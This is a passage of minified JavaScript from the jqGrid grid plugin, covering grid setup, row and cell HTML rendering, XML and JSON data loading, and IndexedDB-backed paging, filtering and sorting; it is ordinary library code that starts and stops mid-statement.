N,M,v,Q,e=0;for(M in $e.jgrid.regional)$e.jgrid.regional.hasOwnProperty(M)&&(0===e&&(N=M),e++);if(1===e&&N!==b.regional&&(b.regional=N),$e(this).empty().attr("tabindex","0"),this.p=b,this.p.useProp=!!$e.fn.prop,0===this.p.colNames.length)for(e=0;e<this.p.colModel.length;e++)this.p.colNames[e]=this.p.colModel[e].label||this.p.colModel[e].name;if(this.p.colNames.length!==this.p.colModel.length)alert($e.jgrid.getRegional(this,"errors.model"));else{"Bootstrap4"===K.p.styleUI&&$e.jgrid.iconSet.hasOwnProperty(K.p.iconSet)&&$e.extend(!0,$e.jgrid.styleUI.Bootstrap4,$e.jgrid.iconSet[K.p.iconSet]),"Bootstrap5"===K.p.styleUI&&$e.jgrid.iconSet.hasOwnProperty(K.p.iconSet)&&$e.extend(!0,$e.jgrid.styleUI.Bootstrap5,$e.jgrid.iconSet[K.p.iconSet]);var k,X=$e.jgrid.getMethod("getStyleUI"),Y=K.p.styleUI+".common",w=X(Y,"disabled",!0),$=X(Y,"highlight",!0),q=X(Y,"hover",!0),z=X(Y,"cornerall",!0),C=X(Y,"icon_base",!0),I=$e.jgrid.styleUI[K.p.styleUI||"jQueryUI"].colmenu,R=$e.jgrid.msie(),G=[],S=[],O=[],Y=K.p.styleUI+".base",t=$e("<div "+X(Y,"viewBox",!1,"ui-jqgrid-view")+" ></div>"),i=(K.p.direction=$e.jgrid.trim(K.p.direction.toLowerCase()),K.p._ald=!1,-1===$e.inArray(K.p.direction,["ltr","rtl"])&&(K.p.direction="ltr"),v=K.p.direction,$e(t).insertBefore(this),$e(this).appendTo(t),$e("<div "+X(Y,"entrieBox",!1,"ui-jqgrid")+"></div>")),B=($e(i).attr({id:"gbox_"+this.id,dir:v}).insertBefore(t),$e(t).attr("id","gview_"+this.id).appendTo(i),$e("<div "+X(K.p.styleUI+".common","overlay",!1,"jqgrid-overlay")+" id='lui_"+this.id+"'></div>").insertBefore(t),$e("<div "+X(Y,"loadingBox",!1,"loading")+" id='load_"+this.id+"'>"+$e.jgrid.getRegional(K,"defaults.loadtext",this.p.loadtext)+"</div>").insertBefore(t),$e(this).attr({role:"grid","aria-multiselectable":!!this.p.multiselect,"aria-labelledby":"gbox_"+this.id}),"indexeddb"===K.p.datatype&&$e(K).jqGrid("dbInit",K.p.datatype),$e.jgrid.getFont(K)),J=function(e,t){return void 0===t&&(t=0),e=parseInt(e,10),isNaN(e)?t:e},s=function(e,t,i,r,o,n){var a=K.p.colModel[e],s=a.align,l='style="',d=a.classes,c=a.name,p=[];return s&&(l+="text-align:"+s+";"),!0===a.hidden&&(l+="display:none;"),0===t?l+="width: "+y.headers[e].width+"px;":($e.jgrid.isFunction(a.cellattr)||"string"==typeof a.cellattr&&!$e.jgrid.isNull($e.jgrid.cellattr)&&$e.jgrid.isFunction($e.jgrid.cellattr[a.cellattr]))&&(s=($e.jgrid.isFunction(a.cellattr)?a.cellattr:$e.jgrid.cellattr[a.cellattr]).call(K,o,i,r,a,n))&&"string"==typeof s&&(-1<s.indexOf("title")&&(a.title=!1),-1<s.indexOf("class")&&(d=void 0),2===(p=(s=String(s).replace(/\s+\=/g,"=")).split("style=")).length?(p[1]=$e.jgrid.trim(p[1]),0!==p[1].indexOf("'")&&0!==p[1].indexOf('"')||(p[1]=p[1].substring(1)),l+=p[1].replace(/'/gi,'"')):l+='"'),p.length?2<p.length&&(p[0]=""):(p[0]="",l+='"'),(l=(l+=(void 0!==d?' class="'+d+'"':"")+(a.title&&i?' title="'+$e.jgrid.stripHtml(i)+'"':""))+(' aria-describedby="'+K.p.id+"_"+c+'"'))+p[0]},F=function(e){return $e.jgrid.isNull(e)||""===e?" ":K.p.autoencode?$e.jgrid.htmlEncode(e):String(e)},A=function(e,t,i,r,o){var n=K.p.colModel[i],e={rowId:e=""!==String(K.p.idPrefix)?$e.jgrid.stripPref(K.p.idPrefix,e):e,colModel:n,gid:K.p.id,pos:i,styleUI:K.p.styleUI},i=void 0!==n.formatter?$e.jgrid.isFunction(n.formatter)?n.formatter.call(K,t,e,r,o):$e.fmatter?$e.fn.fmatter.call(K,n.formatter,t,e,r,o):F(t):F(t);return K.p.autoResizing&&n.autosize&&(n._maxsize||(n._maxsize=n.canvas_width),n._maxsize=Math.max($e.jgrid.isFunction(n.sizingStringFunc)?n.sizingStringFunc.call(K,i,B,e,r):$e.jgrid.getTextWidth(i,B),n._maxsize)),i},Z=function(e,t,i,r,o,n){t=A(e,t,i,o,"add");return'<td role="gridcell" '+s(i,r,t,o,e,n)+">"+t+"</td>"},ee=function(e,t,i,r,o,n){var a=$e.jgrid.getRegional(K,"defaults.selectLine"),a='<input role="checkbox" title=\''+(a||$e.jgrid.regional.en.defaults.selectLine)+'\' type="checkbox" id="jqg_'+K.p.id+"_"+e+'" '+o+' name="jqg_'+K.p.id+"_"+e+'"'+(r?'checked="checked"':"")+"/>",o=K.p.colModel[t];return void 0!==o.formatter&&$e.jgrid.isFunction(o.formatter)&&(a=o.formatter.call(K,a,{rowId:e,colModel:o,gid:K.p.id,pos:t,styleUI:K.p.styleUI},n,"add")),'<td role="gridcell" '+s(t,i,a,n,e,!0)+">"+a+"</td>"},te=function(e,t,i,r,o){i=(parseInt(i,10)-1)*parseInt(r,10)+1+t;return'<td role="gridcell" '+o+" "+s(e,t,i,null,t,!0)+">"+i+"</td>"},ie=function(e,t,i,r){var o=K.p.searchColOptions.searchOnEnter?" onchange=\"$.jgrid.searchColOnEnter('"+K.p.id+"',"+e+', this)"':" onkeydown=\"$.jgrid.searchColOnKey('"+K.p.id+"',"+e+',this, event)"',r='<input type="text" id="jqs_'+K.p.id+"_"+e+'" name="jqs_'+K.p.id+"_"+e+'" '+r+o+"/>";return'<td role="gridcell" '+s(t,i,"",null,e,!0)+">"+r+"</td>"},re=function(e){for(var t,i=[],r=0,o=0;o<K.p.colModel.length;o++)"cb"!==(t=K.p.colModel[o]).name&&"subgrid"!==t.name&&"rn"!==t.name&&"sc"!==t.name&&(i[r]="local"===e?t.name:"xml"===e||"xmlstring"===e?t.xmlmap||t.name:t.jsonmap||t.name,!1!==K.p.keyName&&!0===t.key&&(K.p.keyName=i[r],K.p.keyIndex=r),r++);return i},oe=function(t){var e=K.p.remapColumns;return e&&e.length||(e=$e.map(K.p.colModel,function(e,t){return t})),e=t?$e.map(e,function(e){return e<t?null:e-t}):e},ne=function(e,t){var i;this.p.deepempty?$e(this.rows).slice(1).remove():(i=0<this.rows.length?this.rows[0]:null,$e(this.firstChild).empty().append(i)),e&&this.p.scroll&&($e(this.grid.bDiv.firstChild).css({height:"auto"}),$e(this.grid.bDiv.firstChild.firstChild).css({height:"0px",display:"none"}),0!==this.grid.bDiv.scrollTop)&&(this.grid.bDiv.scrollTop=0),!0===t&&(this.p.data=[],this.p._index={})},P=function(){var e,t,i,r,o,n,a,s,l,d,c,p=K.p,u=p.data,g=u.length,h=p.localReader,f=p.colModel,m=h.cell,v=(!0===p.multiselect?1:0)+(!0===p.subGrid?1:0)+(!0===p.rownumbers?1:0)+(!0===p.searchCols?1:0),w=p.scroll?$e.jgrid.randId():1;if("local"===p.datatype&&!0===h.repeatitems)for(l=oe(v),d=re("local"),r=!1===p.keyName?$e.jgrid.isFunction(h.id)?h.id.call(K,u):h.id:p.keyName,e=0;e<g;e++){for(i=u[e],void 0===(o=$e.jgrid.getAccessor(i,r))&&void 0===(o="number"!=typeof r||$e.jgrid.isNull(f[r+v])?o:$e.jgrid.getAccessor(i,f[r+v].name))&&(o=w+e,m)&&(n=$e.jgrid.getAccessor(i,m)||i,o=$e.jgrid.isNull(n)||void 0===n[r]?o:n[r],0),(s={})[h.id]=o,m&&(i=$e.jgrid.getAccessor(i,m)||i),c=Array.isArray(i)?l:d,t=0;t<c.length;t++)a=$e.jgrid.getAccessor(i,c[t]),s[f[t+v].name]=a;u[e]=s}},ae=function(){var e,t,i=K.p.data.length,r=!1!==K.p.keyName?K.p.keyName:K.p.localReader.id;for(K.p._index={},e=0;e<i;e++)void 0===(t=$e.jgrid.getAccessor(K.p.data[e],r))&&(t=String(e+1)),K.p._index[t]=e},se=function(e,t,i,r,o){var n,a="-1",s="",t=t?"display:none;":"",l=$e(K).triggerHandler("jqGridRowAttr",[r,o,e]);if("object"!=typeof l&&(l=$e.jgrid.isFunction(K.p.rowattr)?K.p.rowattr.call(K,r,o,e):"string"==typeof K.p.rowattr&&!$e.jgrid.isNull($e.jgrid.rowattr)&&$e.jgrid.isFunction($e.jgrid.rowattr[K.p.rowattr])?$e.jgrid.rowattr[K.p.rowattr].call(K,r,o,e):{}),!$e.isEmptyObject(l)){l.hasOwnProperty("id")&&(e=l.id,delete l.id),l.hasOwnProperty("tabindex")&&(a=l.tabindex,delete l.tabindex),l.hasOwnProperty("style")&&(t+=l.style,delete l.style),l.hasOwnProperty("class")&&(i+=" "+l.class,delete l.class);try{delete l.role}catch(e){}for(n in l)l.hasOwnProperty(n)&&(s+=" "+n+"="+l[n])}return'<tr role="row" id="'+e+'" tabindex="'+a+'" class="'+i+'"'+(""===t?"":' style="'+t+'"')+s+">"},T=function(e,i,t,r){var B=new Date,o="local"!==K.p.datatype&&K.p.loadonce||"xmlstring"===K.p.datatype,n="_id_",a=K.p.xmlReader,s=[],F="local"===K.p.datatype?"local":"xml";if(o&&(K.p.data=[],K.p._index={},K.p.localReader.id=n),K.p.reccount=0,$e.isXMLDoc(e)){i=-1!==K.p.treeANode||K.p.scroll?1<i?i:1:(ne.call(K,!1,!1),1);var l,d,c,p,u,g,h,f,m,v,w=$e(K),b=0,j=0,_=[],y={},x=[],A=X(Y,"rowBox",!0,"jqgrow ui-row-"+K.p.direction),D=!0===K.p.rownumbers?1:0,q=!0===K.p.multiselect?1:0,C=!0===K.p.searchCols?1:0,I=(!0===K.p.subGrid&&(j=1,p=$e.jgrid.getMethod("addSubGridCell")),a.repeatitems||(_=re(F)),u=!1===K.p.keyName?$e.jgrid.isFunction(a.id)?a.id.call(K,e):a.id:K.p.keyName,a.repeatitems&&K.p.keyName&&isNaN(u)&&(u=K.p.keyIndex),g=-1===String(u).indexOf("[")?_.length?function(e,t){return $e(u,e).text()||t}:function(e,t){return $e(a.cell,e).eq(u).text()||t}:function(e,t){return e.getAttribute(u.replace(/[\[\]]/g,""))||t},K.p.userData={},K.p.page=J($e.jgrid.getXmlData(e,a.page),K.p.page),K.p.lastpage=J($e.jgrid.getXmlData(e,a.total),1),K.p.records=J($e.jgrid.getXmlData(e,a.records)),$e.jgrid.isFunction(a.userdata)?K.p.userData=a.userdata.call(K,e)||{}:$e.jgrid.getXmlData(e,a.userdata,!0).each(function(){K.p.userData[this.getAttribute("name")]=$e(this).text()}),$e.jgrid.getXmlData(e,a.root,!0)),G=(I=(I=$e.jgrid.getXmlData(I,a.row,!0))||[]).length,S=0,N=[],M=parseInt(K.p.rowNum,10),k=K.p.scroll?$e.jgrid.randId():1,z=$e(K).find("tbody").first(),R=!1;if(K.p.grouping&&(R=!0===K.p.groupingView.groupCollapse,m=$e.jgrid.getMethod("groupingPrepare")),0<G&&K.p.page<=0&&(K.p.page=1),I&&G){r&&(M*=r+1);for(var P=$e.jgrid.isFunction(K.p.afterInsertRow),T=D?X(Y,"rownumBox",!1,"jqgrid-rownum"):"",H=C?X(Y,"searchBox",!1,""):"",U=q?X(Y,"multiBox",!1,"cbox"):"";S<G;){h=I[S],f=g(h,k+S),f=K.p.idPrefix+f,K.p.preserveSelection&&(K.p.multiselect?(v=-1!==K.p.selarrrow.indexOf(f),Q=v?Q+1:Q):v=f===K.p.selrow);var L=x.length;if(x.push(""),D&&x.push(te(0,S,K.p.page,K.p.rowNum,T)),q&&x.push(ee(f,D,S+1,v,U,h)),C&&x.push(ie(f,q+D,S+1,H)),j&&x.push(p.call(w,q+D+C,S+1)),a.repeatitems){var O=O||oe(q+j+D+C),E=$e.jgrid.getXmlData(h,a.cell,!0);$e.each(O,function(e){var t=E[this];if(!t)return!1;c=t.textContent||t.text||"",y[K.p.colModel[e+q+j+D+C].name]=c,x.push(Z(f,c,e+q+j+D+C,S+i,h,y))})}else for(l=0;l<_.length;l++)c=$e.jgrid.getXmlData(h,_[l]),y[K.p.colModel[l+q+j+D+C].name]=c,x.push(Z(f,c,l+q+j+D+C,S+i,h,y));if(x[L]=se(f,R,A,y,h),x.push("</tr>"),K.p.grouping&&(N.push(x),K.p.groupingView._locgr||m.call(w,y,S),x=[]),(o||!0===K.p.treeGrid&&!K.p._ald)&&(y[n]=$e.jgrid.stripPref(K.p.idPrefix,f),K.p.data.push(y),K.p._index[y[n]]=K.p.data.length-1,-1<K.p.treeANode)&&"adjacency"===K.p.treeGridModel&&s.push(y),!1===K.p.gridview&&(z.append(x.join("")),w.triggerHandler("jqGridAfterInsertRow",[f,y,h]),P&&K.p.afterInsertRow.call(K,f,y,h),x=[]),y={},S++,++b===M)break}}if(Q=0<b&&K.p.multiselect&&K.p.preserveSelection&&b===Q,!0===K.p.gridview&&(d=-1<K.p.treeANode?K.p.treeANode:0,K.p.grouping?o||(w.jqGrid("groupingRender",N,K.p.colModel.length,K.p.page,M),N=null):!0===K.p.treeGrid&&0<d?$e(K.rows[d]).after(x.join("")):(z.append(x.join("")),K.grid.cols=K.rows[0].cells)),K.p.totaltime=new Date-B,x=null,0<b&&0===K.p.records&&(K.p.records=G),!0===K.p.treeGrid){try{w.jqGrid("setTreeNode",d+1,b+d+1)}catch(e){}if(-1<K.p.treeANode&&"adjacency"===K.p.treeGridModel&&(c=K.rows[K.p.treeANode].id,1<=(c=K.p._index[c]+1))){for(K.p.data.splice(-G,G),l=0;l<G;l++)K.p.data.splice(c+l,0,s[l]);ae()}}if(K.p.reccount=b,K.p.treeANode=-1,K.p.userDataOnFooter&&w.jqGrid("footerData","set",K.p.userData,K.p.formatFooterData,0,!1),K.p.userDataOnHeader&&w.jqGrid("headerData","set",K.p.userData,K.p.formatHeaderData,0,!1),o&&(K.p.records=G,K.p.lastpage=Math.ceil(G/M)),t||K.updatepager(!1,!0),Q&&le(!0),o){for(;b<G;){if(h=I[b],f=g(h,b+k),f=K.p.idPrefix+f,a.repeatitems){O=O||oe(q+j+D+C);var W=$e.jgrid.getXmlData(h,a.cell,!0);$e.each(O,function(e){var t=W[this];if(!t)return!1;c=t.textContent||t.text||"",y[K.p.colModel[e+q+j+D+C].name]=c})}else for(l=0;l<_.length;l++)c=$e.jgrid.getXmlData(h,_[l]),y[K.p.colModel[l+q+j+D+C].name]=c;y[n]=$e.jgrid.stripPref(K.p.idPrefix,f),K.p.grouping&&m.call(w,y,b),K.p.data.push(y),K.p._index[y[n]]=K.p.data.length-1,y={},b++}K.p.grouping&&(K.p.groupingView._locgr=!0,w.jqGrid("groupingRender",N,K.p.colModel.length,K.p.page,M),N=null)}if(!0===K.p.subGrid)try{w.jqGrid("addSubGrid",q+D)}catch(e){}}},H=function(e,t,B,i){var F=new Date;if(e){t=-1!==K.p.treeANode||K.p.scroll?1<t?t:1:(ne.call(K,!1,!1),1),o="local"===K.p.datatype?(r=K.p.localReader,"local"):(r=K.p.jsonReader,"json");var r,o,n,a,s,l,d,c,p,u,g,h,f,m,v="_id_",w="local"!==K.p.datatype&&K.p.loadonce||"jsonstring"===K.p.datatype,b=$e(K),j=0,_=[],y=K.p.multiselect?1:0,x=!0===K.p.subGrid?1:0,D=!0===K.p.rownumbers?1:0,q=!0===K.p.searchCols?1:0,C=K.p.scroll&&"local"!==K.p.datatype?$e.jgrid.randId():1,I=parseInt(K.p.rowNum,10),G=!1,S=oe(y+x+D+q),A=re(o),N={},M=[],P=[],T=X(Y,"rowBox",!0,"jqgrow ui-row-"+K.p.direction),H=$e.jgrid.isFunction(K.p.afterInsertRow),k=[],U=!1,L=$e(K).find("tbody").first(),E=D?X(Y,"rownumBox",!1,"jqgrid-rownum"):"",W=q?X(Y,"searchBox",!1,""):"",V=y?X(Y,"multiBox",!1,"cbox"):"";for(w&&(K.p.data=[],K.p._index={},K.p.localReader.id=v),K.p.reccount=0,K.p.page=J($e.jgrid.getAccessor(e,r.page),K.p.page),K.p.lastpage=J($e.jgrid.getAccessor(e,r.total),1),K.p.records=J($e.jgrid.getAccessor(e,r.records)),K.p.userData=$e.jgrid.getAccessor(e,r.userdata)||{},x&&(l=$e.jgrid.getMethod("addSubGridCell")),g=!1===K.p.keyName?$e.jgrid.isFunction(r.id)?r.id.call(K,e):r.id:K.p.keyName,r.repeatitems&&K.p.keyName&&isNaN(g)&&(g=K.p.keyIndex),u=$e.jgrid.getAccessor(e,r.root),(a=0)<(p=(u=(u=$e.jgrid.isNull(u)&&Array.isArray(e)?e:u)||[]).length)&&K.p.page<=0&&(K.p.page=1),i&&(I*=i+1),"local"!==K.p.datatype||K.p.deselectAfterSort||(G=!0),K.p.grouping&&(U=!0===K.p.groupingView.groupCollapse,f=$e.jgrid.getMethod("groupingPrepare"));a<p;){var z,R=u[a],O=(void 0===(z=$e.jgrid.getAccessor(R,g))&&void 0===(z="number"!=typeof g||$e.jgrid.isNull(K.p.colModel[g+y+x+D+q])?z:$e.jgrid.getAccessor(R,K.p.colModel[g+y+x+D+q].name))&&(z=C+a,0===_.length)&&r.cell&&(O=$e.jgrid.getAccessor(R,r.cell)||R,z=$e.jgrid.isNull(O)||void 0===O[g]?z:O[g],O=null),z=K.p.idPrefix+z,(G||K.p.preserveSelection)&&(K.p.multiselect?(d=-1!==K.p.selarrrow.indexOf(z),Q=d?Q+1:Q):d=z===K.p.selrow),M.length);for(M.push(""),D&&M.push(te(0,a,K.p.page,K.p.rowNum,E)),y&&M.push(ee(z,D,a+1,d,V,R)),q&&M.push(ie(z,y+D,a+1,W)),x&&M.push(l.call(b,y+D+q,a+1)),c=A,r.repeatitems&&(r.cell&&(R=$e.jgrid.getAccessor(R,r.cell)||R),Array.isArray(R))&&(c=S),s=0;s<c.length;s++)n=$e.jgrid.getAccessor(R,c[s]),N[K.p.colModel[s+y+x+D+q].name]=n,M.push(Z(z,n,s+y+x+D+q,a+t,R,N));if(M[O]=se(z,U,d?T+" "+$:T,N,R),M.push("</tr>"),K.p.grouping&&(k.push(M),K.p.groupingView._locgr||f.call(b,N,a),M=[]),(w||!0===K.p.treeGrid&&!K.p._ald)&&(N[v]=$e.jgrid.stripPref(K.p.idPrefix,z),K.p.data.push(N),K.p._index[N[v]]=K.p.data.length-1,-1<K.p.treeANode)&&"adjacency"===K.p.treeGridModel&&P.push(N),!1===K.p.gridview&&(L.append(M.join("")),b.triggerHandler("jqGridAfterInsertRow",[z,N,R]),H&&K.p.afterInsertRow.call(K,z,N,R),M=[]),N={},a++,++j===I)break}if(Q=0<j&&K.p.multiselect&&(K.p.preserveSelection||G)&&j===Q,!0===K.p.gridview&&(h=-1<K.p.treeANode?K.p.treeANode:0,K.p.grouping?w||(b.jqGrid("groupingRender",k,K.p.colModel.length,K.p.page,I),k=null):!0===K.p.treeGrid&&0<h?$e(K.rows[h]).after(M.join("")):(L.append(M.join("")),K.grid.cols=K.rows[0].cells)),K.p.totaltime=new Date-F,M=null,0<j&&0===K.p.records&&(K.p.records=p),!0===K.p.treeGrid){try{b.jqGrid("setTreeNode",h+1,j+h+1)}catch(e){}if(-1<K.p.treeANode&&"adjacency"===K.p.treeGridModel&&(n=K.rows[K.p.treeANode].id,1<=(n=K.p._index[n]+1))){for(K.p.data.splice(-p,p),a=0;a<p;a++)K.p.data.splice(n+a,0,P[a]);ae()}}if(K.p.reccount=j,K.p.treeANode=-1,K.p.userDataOnFooter&&b.jqGrid("footerData","set",K.p.userData,K.p.formatFooterData,0,!1),K.p.userDataOnHeader&&b.jqGrid("headerData","set",K.p.userData,K.p.formatHeaderData,0,!1),w&&(K.p.records=p,K.p.lastpage=Math.ceil(p/I)),B||K.updatepager(!1,!0),Q&&le(!0),w){for(;j<p&&u[j];){if(R=u[j],void 0===(z=$e.jgrid.getAccessor(R,g))&&void 0===(z="number"!=typeof g||$e.jgrid.isNull(K.p.colModel[g+y+x+D+q])?z:$e.jgrid.getAccessor(R,K.p.colModel[g+y+x+D+q].name))&&(z=C+j,0===_.length)&&r.cell&&(m=$e.jgrid.getAccessor(R,r.cell)||R,z=$e.jgrid.isNull(m)||void 0===m[g]?z:m[g],m=null),R){for(z=K.p.idPrefix+z,c=A,r.repeatitems&&(r.cell&&(R=$e.jgrid.getAccessor(R,r.cell)||R),Array.isArray(R))&&(c=S),s=0;s<c.length;s++)N[K.p.colModel[s+y+x+D+q].name]=$e.jgrid.getAccessor(R,c[s]);N[v]=$e.jgrid.stripPref(K.p.idPrefix,z),K.p.grouping&&f.call(b,N,j),K.p.data.push(N),K.p._index[N[v]]=K.p.data.length-1,N={}}j++}K.p.grouping&&(K.p.groupingView._locgr=!0,b.jqGrid("groupingRender",k,K.p.colModel.length,K.p.page,I),k=null)}if(!0===K.p.subGrid)try{b.jqGrid("addSubGrid",y+D+q)}catch(e){}}},U=async function(e){return new Promise(function(n,a){let s=K.p.sortname,l=K.p.sortorder.toLowerCase(),d=parseInt(K.p.rowNum,10),c=0,p,u=parseInt(K.p.page,10),g,h="every";const f=K.p.ignoreCase;e&&(u=1,d=1e6),s=s||(K.p.sortname=K.p.colModel[0].index||K.p.colModel[0].name),!0===K.p.search&&(g=K.p.postData.filters)&&("OR"===(g="string"==typeof g?$e.jgrid.parse(g):g).groupOp&&(h="some"),g.rules.map(e=>{f&&(e.data=e.data.toLowerCase()),e.type="text";var t=$e(K).jqGrid("getColProp",e.field),t=t.sorttype||t.stype,i=!("bt"===e.op||"in"===e.op||"ni"===e.op);switch(t){case"int":case"integer":i&&(e.data=parseInt(e.data,10)),e.type="num";break;case"float":case"number":case"numeric":i&&(e.data=parseFloat(e.data)),e.type="num"}}));var m={eq:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])===e.data},ne:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])!==e.data},lt:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])<e.data},le:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])<=e.data},gt:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])>e.data},ge:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field])>=e.data},bw:function(e,t,i){return 0===(i?t[e.field].toLowerCase():t[e.field]).indexOf(e.data)},bn:function(e,t,i){return!(0===(i?t[e.field].toLowerCase():t[e.field]).indexOf(e.data))},ew:function(e,t,i){return(i?t[e.field].toLowerCase():t[e.field]).endsWith(e.data)},en:function(e,t,i){return!(i?t[e.field].toLowerCase():t[e.field]).endsWith(e.data)},cn:function(e,t,i){return-1<(i?t[e.field].toLowerCase():t[e.field]).indexOf(e.data)},nc:function(e,t,i){return-1<!(i?t[e.field].toLowerCase():t[e.field])},in:function(e,t,i){return-1<e.data.split(",").map(e=>i?e.trim().toLowerCase():e.trim()).indexOf(t[e.field])},ni:function(e,t,i){return-1===e.data.split(",").map(e=>i?e.trim().toLowerCase():e.trim()).indexOf(t[e.field].trim())},nu:function(e,t,i){return null===t[e.field]},nn:function(e,t,i){return null!==t[e.field]},bt:function(t,e,i){var r=t.data.split("...").map(e=>"num"===t.type?+e:e.trim());try{var o=i?e[t.field].toLowerCase():e[t.field];return o>=r[0]&&o<=r[1]}catch(e){return!1}}};const v=window.indexedDB.open(K.p.dbconfig.dbname);v.onsuccess=function(e){var t=v.result.transaction(K.p.dbconfig.dbtable,"readonly");let r={};r[K.p.localReader.root]=[],t.oncomplete=function(e){"desc"!==l&&!K.p.grouping||r[K.p.localReader.root].sort(function(t,i){var r=[],o=[];if(K.p.grouping){for(let e=0;e<K.p.groupingView.groupField.length;e++)"asc"===K.p.groupingView.groupOrder[e]?(r.push(t[K.p.groupingView.groupField[e]]),o.push(i[K.p.groupingView.groupField[e]])):(r.push(i[K.p.groupingView.groupField[e]]),o.push(t[K.p.groupingView.groupField[e]]));"asc"===l?(r.push(t[s]),o.push(i[s])):(r.push(i[s]),o.push(t[s]))}else r=[i[s]],o=[t[s]];return indexedDB.cmp(r,o)}),r[K.p.localReader.root]=r[K.p.localReader.root].slice((u-1)*d,u*d),p=Math.ceil(c/d),r[K.p.localReader.total]=p,r[K.p.localReader.page]=u,r[K.p.localReader.records]=c,r[K.p.localReader.userdata]=K.p.userData,n(r)},t.onerror=function(e){j(),a(e.target)};var t=t.objectStore(K.p.dbconfig.dbtable).index(s),i=(t.count(null).onsuccess=e=>{c=K.p.search&&g.rules.length?0:e.target.result},Math.pow(2,32)-1),o=(!1!==K.p.search||"asc"!==l||K.p.grouping||(i=u*d),t.getAll(null,i));o.onsuccess=e=>{if(!0===K.p.search&&g.hasOwnProperty("rules")&&g.rules.length)for(var t=o.result.length,i=0;i<t;)g.rules[h](function(e){return m[e.op](e,o.result[i],f&&"text"===e.type)})&&(c++,r[K.p.localReader.root].push(o.result[i])),i++;else r[K.p.localReader.root]=o.result},o.onerror=function(e){console.log(e)}}})},L=function(e){var t,i,r,o=K.p.multiSort?[]:"",n=[],a=!1,c={},s=[],l=[];if(Array.isArray(K.p.data)){var d,p,u,g=!!K.p.grouping&&K.p.groupingView;if($e.each(K.p.colModel,function(){if("cb"===this.name||"subgrid"===this.name||"rn"===this.name||"sc"===this.name)return!0;if(i=this.sorttype||"text",u=this.index||this.name,"date"===i||"datetime"===i?(this.formatter&&"string"==typeof this.formatter&&"date"===this.formatter?(t=this.formatoptions&&this.formatoptions.srcformat?this.formatoptions.srcformat:$e.jgrid.getRegional(K,"formatter.date.srcformat"),r=this.formatoptions&&this.formatoptions.newformat?this.formatoptions.newformat:$e.jgrid.getRegional(K,"formatter.date.newformat")):t=r=this.datefmt||"Y-m-d",c[u]={stype:i,srcfmt:t,newfmt:r,sfunc:this.sortfunc||null,name:this.name}):c[u]={stype:i,srcfmt:"",newfmt:"",sfunc:this.sortfunc||null,name:this.name},K.p.grouping)for(p=0,d=g.groupField.length;p<d;p++)this.name===g.groupField[p]&&(s[p]=c[u],l[p]=u);K.p.multiSort||a||u!==K.p.sortname||(o=u,a=!0)}),K.p.multiSort&&(o=G,n=S),!K.p.treeGrid||!K.p._sort){var h={eq:function(e){return e.equals},ne:function(e){return e.notEquals},lt:function(e){return e.less},le:function(e){return e.lessOrEquals},gt:function(e){return e.greater},ge:function(e){return e.greaterOrEquals},cn:function(e){return e.contains},nc:function(e,t){return("OR"===t?e.orNot():e.andNot()).contains},bw:function(e){return e.startsWith},bn:function(e,t){return("OR"===t?e.orNot():e.andNot()).startsWith},en:function(e,t){return("OR"===t?e.orNot():e.andNot()).endsWith},ew:function(e){return e.endsWith},ni:function(e,t){return("OR"===t?e.orNot():e.andNot()).inData},in:function(e){return e.inData},nu:function(e){return e.isNull},nn:function(e,t){return("OR"===t?e.orNot():e.andNot()).isNull}},f=$e.jgrid.from.call(K,K.p.data);if(K.p.ignoreCase&&(f=f.ignoreCase()),!0===K.p.search){var m=K.p.postData.filters;if(m)!function e(t){var i,r,o,n,a,s,l,d=0;if(!$e.jgrid.isNull(t.groups)){for((r=t.groups.length&&"OR"===t.groupOp.toString().toUpperCase())&&f.orBegin(),i=0;i<t.groups.length;i++){0<d&&r&&f.or();try{e(t.groups[i])}catch(e){alert(e)}d++}r&&f.orEnd()}if(!$e.jgrid.isNull(t.rules))try{for((l=t.rules.length&&"OR"===t.groupOp.toString().toUpperCase())&&f.orBegin(),i=0;i<t.rules.length;i++){if(n=t.rules[i],o=t.groupOp.toString().toUpperCase(),h[n.op]&&n.field){0<d&&o&&"OR"===o&&(f=f.or()),s=n.field,K.p.useNameForSearch&&c.hasOwnProperty(n.field)&&(s=c[n.field].name);try{"date"===(a=c[n.field]).stype&&"string"==typeof a.srcfmt&&"string"==typeof a.newfmt&&(n.data=$e.jgrid.parseDate.call(K,a.newfmt,n.data,a.srcfmt)),f=h[n.op](f,o)(s,n.data,a)}catch(e){}}else void 0!==K.p.customFilterDef&&void 0!==K.p.customFilterDef[n.op]&&$e.jgrid.isFunction(K.p.customFilterDef[n.op].action)&&(f=f.user.call(K,n.op,n.field,n.data));d++}l&&f.orEnd()}catch(e){alert(e)}}(m="string"==typeof m?$e.jgrid.parse(m):m);else try{"date"===(j=c[K.p.postData.searchField]).stype&&j.srcfmt&&j.newfmt&&j.srcfmt!==j.newfmt&&(K.p.postData.searchString=$e.jgrid.parseDate.call(K,j.newfmt,K.p.postData.searchString,j.srcfmt)),h[K.p.postData.searchOper]?f=h[K.p.postData.searchOper](f)(K.p.postData.searchField,K.p.postData.searchString,c[K.p.postData.searchField]):void 0!==K.p.customFilterDef&&void 0!==K.p.customFilterDef[K.p.postData.searchOper]&&$e.jgrid.isFunction(K.p.customFilterDef[K.p.postData.searchOper].action)&&(f=f.user.call(K,K.p.postData.searchOper,K.p.postData.searchField,K.p.postData.searchString))}catch(e){}}if(K.p.treeGrid&&"nested"===K.p.treeGridModel&&f.orderBy(K.p.treeReader.left_field,"asc","integer","",null),K.p.treeGrid&&"adjacency"===K.p.treeGridModel&&(d=0,o=null),K.p.grouping)for(p=0;p<d;p++)f.orderBy(l[p],g.groupOrder[p],s[p].stype,s[p].srcfmt);K.p.multiSort?$e.each(o,function(e){f.orderBy(this,n[e],c[this].stype,c[this].srcfmt,c[this].sfunc)}):o&&K.p.sortorder&&a&&("DESC"===K.p.sortorder.toUpperCase()?f.orderBy(K.p.sortname,"d",c[o].stype,c[o].srcfmt,c[o].sfunc):f.orderBy(K.p.sortname,"a",c[o].stype,c[o].srcfmt,c[o].sfunc));var v=f.select(),w=parseInt(K.p.rowNum,10),b=v.length,m=parseInt(K.p.page,10),j=Math.ceil(b/w),_={};if((K.p.search||K.p.resetsearch)&&K.p.grouping&&K.p.groupingView._locgr){K.p.groupingView.groups=[];var 